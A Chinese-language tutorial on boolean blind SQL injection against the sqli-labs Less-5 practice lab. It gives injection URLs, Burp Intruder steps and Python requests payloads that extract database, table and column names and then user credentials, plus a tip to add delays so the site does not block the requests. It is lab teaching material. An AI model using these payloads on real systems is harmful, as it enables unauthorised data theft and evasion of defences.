布尔盲注原理及具体操作
布尔盲注
-
布尔盲注:在原有正常的查询条件之后,再附加一个我们注入的查询条件,然后通过页面是否正常显示,从而来推测条件是否成立
-
布尔盲注常用函数:substr():截取字符串中的指定字符 :substr(obj,start,length)
-
注意:在sql中执行函数也要用select语句,如: select('python',1,3) select substr(database(),1,1)
-
用length函数判断数据库长度:http://192.168.2.102/sql/Less-5/?id=1' and length(database())=8 --+
-
再用substr()和ascii()2个函数,逐一对数据库里的字段进行判断:http://192.168.2.102/sql/Less-5/?id=1' and ascii(substr(database(),1,1))>90 --+
-
注意:判断长度可以用2分法,但判断字段的话,太复杂了,有2种方法,一种是用burpsuit,还有一种就是自己写破解脚本,先介绍bp破解:
-
先用bp抓取参数的页面:http://192.168.2.102/sql/Less-5/?id=1' and ascii(substr(database(),1,1))=90 --+,抓取后发送到intruder(暴力破解模块),然后将90作为参数,以下是针对性的进行设置:
-
-
设置线程,默认10即可:
-
-
最后再设置grep匹配项,筛选项:
-
-
最后,点击:
-
-
从下可以找出匹配的ascii数值:
-
编写盲注脚本分析:
- 要用到python的requests模块来编写脚本。(什么叫python的模块?模块包含了很多类),这里要先判断数据库有多长,直接在url页面输出:http://192.168.2.102/sql/Less-5/?id=1' and length(database())=8 --+,这里=8成立,说明数据库长度是8,为后续的爆破作准备。
- 注意:在url测试是用--+;在requests模块里是用#,很容易弄混!
- 爆破数据库名:利用python的requests模块具体方法(先进入python界面):
- import requests(导入模块)
- url="http://192.168.2.102/sql/Less-5/"
- params={"id":1} 定义变量
- result=requests.get(url,params)给网站发送get请求,并生成一个result对象
- payload="1' and 1=1 #",params={"id":payload} 构造测试payload,并且将其代入到params
- payload = f"1' and ascii(substr(database(),{j},1))={i}#" 构造爆破的payload,整体代码如下
-
- 注意,由于要传i,j参数,所以payload要格式化,前面加f
- 优化代码,加一个break,达到条件之后,跳出循环,节省资源和时间,确定数据库名为:security
- 爆破数据库表名:同样,先确定security数据库下的group_concat集中输出的表名长度,为后续爆破作准备(这里直接在url中用2分法判断):http://192.168.2.102/sql/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>10 --+,这里猜出长度是29
- 爆破数据表名:构造payload:
- f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))={j}#"
-
- 注意,range(1,30),长度为29,输出表名确定为users
- 爆破字段名:
- 同样,先确定表名为users下的group_concat集中输出的字段名长度,为后续爆破作准备(这里直接在url中用2分法判断):?id=1'and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))=20 这个成立,可以确定字段名的长度是20
- 构造payload:
- f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),{i},1))={j}#"
-
- 这里 爆破出三个字段:id,username,password
- 最后爆破数据,使用二分法,效率提高十倍!(从字段username和password中):
-
- 打比赛的情况下,最好能导入time模块,import time,然后用sleep()方法: time.sleep(0.1)给它0.1秒的间隔,这样就不会触发网站拦截响应。

浙公网安备 33010602011771号